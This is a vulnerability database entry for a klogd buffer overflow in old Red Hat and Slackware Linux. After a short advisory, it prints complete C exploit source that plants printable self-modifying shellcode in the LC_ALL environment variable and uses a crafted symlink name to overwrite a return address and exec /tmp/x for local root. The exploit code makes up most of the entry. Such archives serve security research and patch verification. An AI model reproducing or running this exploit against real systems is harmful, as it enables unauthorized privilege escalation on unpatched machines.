Lucene search
K

RedHat Linux 5.0/5.1/5.2,Slackware Linux <= 3.5 klogd Buffer Overflow Vulnerability (2)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

Buffer overflow in klogd can lead to denial of service or local root access by stuffing shellcode into kernel messages. Fixed in mainstream Slackware Linux and RedHat Linux after two years

Code

                                                source: http://www.securityfocus.com/bid/398/info
 
 
It is possible to cause a denial of service (remote and local) through generating old, obscure kernel messages (not terminated with \n) in klogd. The problem exists because of a buffer overflow in the klogd handling of kernel messages. It is possible to gain local root access through stuffing shellcode into printk() messages which contain user-controllable variables (eg, filenames). What makes this problem strange, however, is that it was fixed two years ago. Two of the most mainstream linux distributions (Slackware Linux and RedHat Linux), up until recently, are known to have been shipping with the very old vulnerable version. Fixes and updates were released promptly. There is no data on other distributions.

/*
 * Linux/x86 klogd exploit using envcheck by
 * Esa Etelavuori (www.iki.fi/ee/) in 2k0912
 * Tested on Red Hat 6.2 / Celeron A & P2.
 * You need some skillz to use this.
 */
#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;unistd.h&#62;

#define RETADDR    0xbffffdab

int main(int ac, char **av)
{
    char sting[] = &#34;./[&#60;%2009xAAAABBB&#34;;
    /* Self-modifying code using 0x20 - 0x7e chars and execing /tmp/x.
     * May need tuning for correct %esp offset (%ebx) for modification
     * of last two bytes which are transformed into int 0x80. */
    char *venom = &#34;LC_ALL=&#34;
        &#34;T[fhBOfXf5B@f1ChjAX4APPZHf1Chfh/xh/tmpT[RSTYjOX4D2p&#34;;

    if (ac != 1 && ac != 2) {
        fprintf(stderr, &#34;usage: %s [return address]\n&#34;, av[0]);
        exit(1);
    }

    if (ac == 2 && av[1][0] == &#39;-&#39;) {
        printf(&#34;done\n&#34;);
        exit(0); 
    }
    else if (ac == 2 && av[1][0] == &#39;+&#39;) {
        if (putenv(venom)) {
            perror(&#34;putenv&#34;);
            exit(1);
        }
        execl(av[0], av[0], &#34;-&#34;, NULL);
    }
    else {
        *(unsigned long *)(&sting[strlen(sting) - 4 - 3])
            = ac == 1 ? RETADDR: strtoul(av[1], NULL, 0);
        if (symlink(av[0], sting)) {
            perror(&#34;symlink&#34;);
            exit(1);
        }
        execl(sting, sting, &#34;+&#34;, NULL);
    }

    perror(&#34;execl&#34;);
    exit(1);
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation